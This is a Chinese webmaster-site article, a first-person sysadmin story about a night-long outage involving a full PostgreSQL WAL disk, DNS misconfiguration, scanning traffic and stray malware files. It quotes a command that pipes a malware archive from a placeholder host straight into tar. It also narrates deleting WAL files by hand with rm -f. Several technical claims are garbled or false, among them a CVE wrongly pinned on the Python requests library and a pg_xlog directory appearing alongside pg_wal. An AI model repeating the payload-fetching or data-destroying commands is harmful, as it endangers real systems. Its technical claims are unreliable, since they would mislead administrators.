移动互联时代，你的设备还单机？11年开源站长说：该联网了！

　　去年四月十七号凌晨三点二十，我正蹲在机房门口啃半包辣条——不是饿，是刚把那台挂了八小时的 PostgreSQL 从 WAL 归档地狱里捞出来，手抖得拧不开泡面盖。监控屏右下角贴着三块胶布，最底下那块还翘着边，盖住的是去年十一月被烟头烫出的小洞。窗外雨没停过，水顺着玻璃往下淌，像 DNS 解析失败时 TTL 那种徒劳的重试。

　　事情是从周四下午开始的。运维群弹出第一条告警：“backup.sh exit code 1”。我扫了一眼，没点开——上个月改过 cron 的 PATH，知道是那个老毛病，十有八九是 /usr/local/bin/rsync 找不着。顺手回了个“晚点修”，去回老板消息：“证书续签流程下周走完”。结果十五分钟后，客服电话来了：“您备案的域名 www.bakery-shop.cn 显示未备案”。我愣了一下，这域名三年前就下线了，谁还在解析它？查 DNS 记录，NS 指向早被改成某个叫“云链智联”的托管商，TTL 设成 60 秒，但权威服务器压根没响应。我原以为是某次脚本误操作漏删了 BIND 区域文件，结果进 named.conf 一看：根本没配这条 zone。这个我到现在也没想明白。

文章配图，仅供参考

　　真正崩是在周五凌晨。磁盘满，不是根分区，是 /data/pg_wal。WAL 没清理，归档脚本静默失败，而 pg_stat_archiver 这个视图……我从来只看一眼状态栏绿不绿。绿，就不管。结果那天绿着，日志里全是“could not rename file 'xxx.partial' to 'xxx.done': No such file or directory”。我重启 postgres，不行；pg_switch_wal() 强切，不行；最后 rm -f /data/pg_wal/00000001 ——手悬在键盘上两秒，点了回车。那一声脆响，比机房空调突然停转还刺耳。

　　早上七点，同事老陈穿着拖鞋冲进来，头发翘着：“主库连不上！备份库也连不上！”他手机屏幕亮着，微信弹出老板发的语音：“@所有人，今天客户演示别翻车啊”。我没回。我盯着 nagios 界面上灰掉的节点，忽然想起上个月搬家——搬服务器那天暴雨，货车在高速上抛锚，我和小杨蹲在收费站旁边，拿塑料袋包硬盘，雨水从袖口往里灌。那时候我还笑：“单机才踏实，一联网就有人惦记你那台树莓派”。

　　可这次不是树莓派。是跑着三个 SaaS 子系统的那台 DELL R730，SSD 缓存盘坏了两块，RAID 卡还在报错，而它的 iDRAC 远程控制台——对，就是那个我亲手关掉的——根本连不上。我们只好跑机房拔电源。断电前我瞥见柜顶积了层灰，角落摆着我去年丢下的半罐咖啡粉，铝罐压扁了，标签上印着“移动互联时代，一键唤醒”。真讽刺。小杨说“重装系统吧”，我摇头，掏出手机连上那台临时搭的 Pi-hole，抓包一看：上游 DNS 请求全卡在 53 端口超时，但本地 /etc/resolv.conf 指向的却是 127.0.0.1。谁动的？没人承认。包括我自己。

　　中午十二点二十分，我蹲在楼道窗台抽烟。隔壁小学课间铃响了，一声、两声、三声。我数到第七声，听见老陈在楼梯口喊：“主从延迟三百四十秒！而且——”他顿了顿，“备库的 pg_xlog 目录里，有一堆以 ‘malware’ 开头的 .so 文件。”我手一抖，烟灰掉在鞋面上。没说话。我知道那是什么：去年给新员工培训写的一键部署脚本，混进了某开源监控组件的编译残留，当时测试环境跑得好好的，谁记得删干净？后来迁移到生产，脚本执行人换过三次，最后一次是实习生，她改了 chmod 权限，但忘了删掉那行 curl -fsSL https://cdn.xxx/malware.tar.gz | tar -xzf - 的注释——注释没删，脚本里却留着反斜杠续行。现在它跑起来了。不是恶意，只是没人碰它，也没人看它。

　　下午三点，老板在群里甩来一张截图：某电商站实时数据大屏，红色告警横贯整个屏幕，“数据库连接池耗尽”。他打字：“这事儿必须今晚闭环”。我盯着“闭环”俩字看了十秒，删了输入框里所有字，只回：“我先调下 max_connections”。然后把聊天窗口最小化，点开 nginx 日志，grep “CC” ——结果跳出四百二十七行，IP 全来自同一段 BGP ASN，User-Agent 写着“Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)”，但 POST body 里塞满了 base64 编码的 pg_dump 命令。这不是爬虫。这是练手的大学生，用免费 VPS 群起扫网段，扫到我们那台还开着 pg_hba.conf 默认配置的机器。单机时代，没人敢这么试；联网时代，你不开门，他们就拆窗。

　　值班室桌上那碗泡面凉透了，汤面浮着层油膜，映着监控屏上跳动的 CPU 使用率曲线。孩子打电话来问作业，我说“等会儿”，然后把听筒按在胸口，听自己心跳声比 ping 丢包还乱。我原以为只要锁好防火墙、关掉 root 登录、定期轮换密钥，就等于站在城墙上了。结果发现城墙下面早挖好了地道，而地道口就在昨天更新的 Dockerfile 第 8 行，RUN apt-get install -y python3-pip && pip3 install requests==2.25.1 ——那个 requests 版本有 CVE-2021-28918，但 nobody 提 PR，nobody check dependency tree，连扫描器都没报它。优胜劣汰？不是你代码多优雅，是你哪天宕机，用户就点开下一个 APP。连不上？就淘汰。慢半拍？就淘汰。证书过期两小时？下游服务商直接砍掉你 API 调用配额——小张昨儿查出来的，他们后台自动封禁逻辑根本不校验 OCSP，只认有效期戳。

　　凌晨两点五十六分，我把最后一块 SSD 拔下来，放进防静电袋。机柜风扇声音变轻了，像呼吸暂停。我打开终端，ssh 进新配的 JumpServer，输入第一行命令：systemctl enable zabbix-agent2。不是因为信任 Zabbix，是因为我实在受不了再靠肉眼看 /var/log/messages 里的 “disk full” 字样。明天先把告警阈值调了，WAL 归档路径加 MD5 校验，DNS 服务器换用 Quad9，还有——得翻出老黄的联系方式，问他当年那套自研心跳检测脚本，能不能塞进现在的 Consul 配置里。管它呢。先活过下周一再说。

（编辑：站长网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!